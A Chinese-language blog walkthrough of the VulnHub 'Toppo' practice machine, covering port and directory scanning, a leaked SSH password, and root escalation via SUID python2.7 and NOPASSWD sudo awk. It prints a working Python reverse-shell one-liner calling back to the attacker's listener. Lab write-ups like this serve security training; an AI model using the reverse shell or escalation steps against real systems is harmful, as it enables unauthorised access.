希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!
个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog
Toppo 靶机下载地址:Toppo: 1 ~ VulnHub
0x01 信息收集
Nmap扫描目标主机,发现开放22、80、111、40177端口,分别运行OpenSSH 6.7p1、Apache httpd 2.4.10、rpcbind 2-4服务。
访问80端口页面为一个Blog网站。Wappalyzer显示操作系统为Debian。
DirSearch扫描80端口网站目录,发现/admin/notes.txt,其内容泄露了SSH密码。这个靶场个人觉得设计的有点不切实际。
python dirsearch.py -u "http://192.168.196.138/" -z yes
0x02 Web漏洞利用 - ssh密码泄露
根据/admin/notes.txt中泄露的ssh密码(12345ted123),猜测用户名为ted,使用Xshell成功连接,得到普通用户权限ted。
0x03 权限提升 - SUID&SUDO
上传综合辅助探测脚本LinEnum.sh至目标主机/tmp目录下,给予执行权限执行。
辅助项目下载地址:GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks
检测到可利用的SUID权限的文件:/usr/bin/python2.7
直接通过/usr/bin/python2.7反弹shell,Kali这边nc监听反弹,成功拿到root权限和flag。
在线反弹Shell命令生成网站:[~]#棱角 ::Edge.Forum*
/usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.196.128",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
另外,辅助探测脚本还检测到NOPASSWD的SUDO命令:/usr/bin/awk(通过cat /etc/sudoers也能查到)
查询GTFOBins得知awk的SUDO提权方式如下,启用一个新的root权限的bash。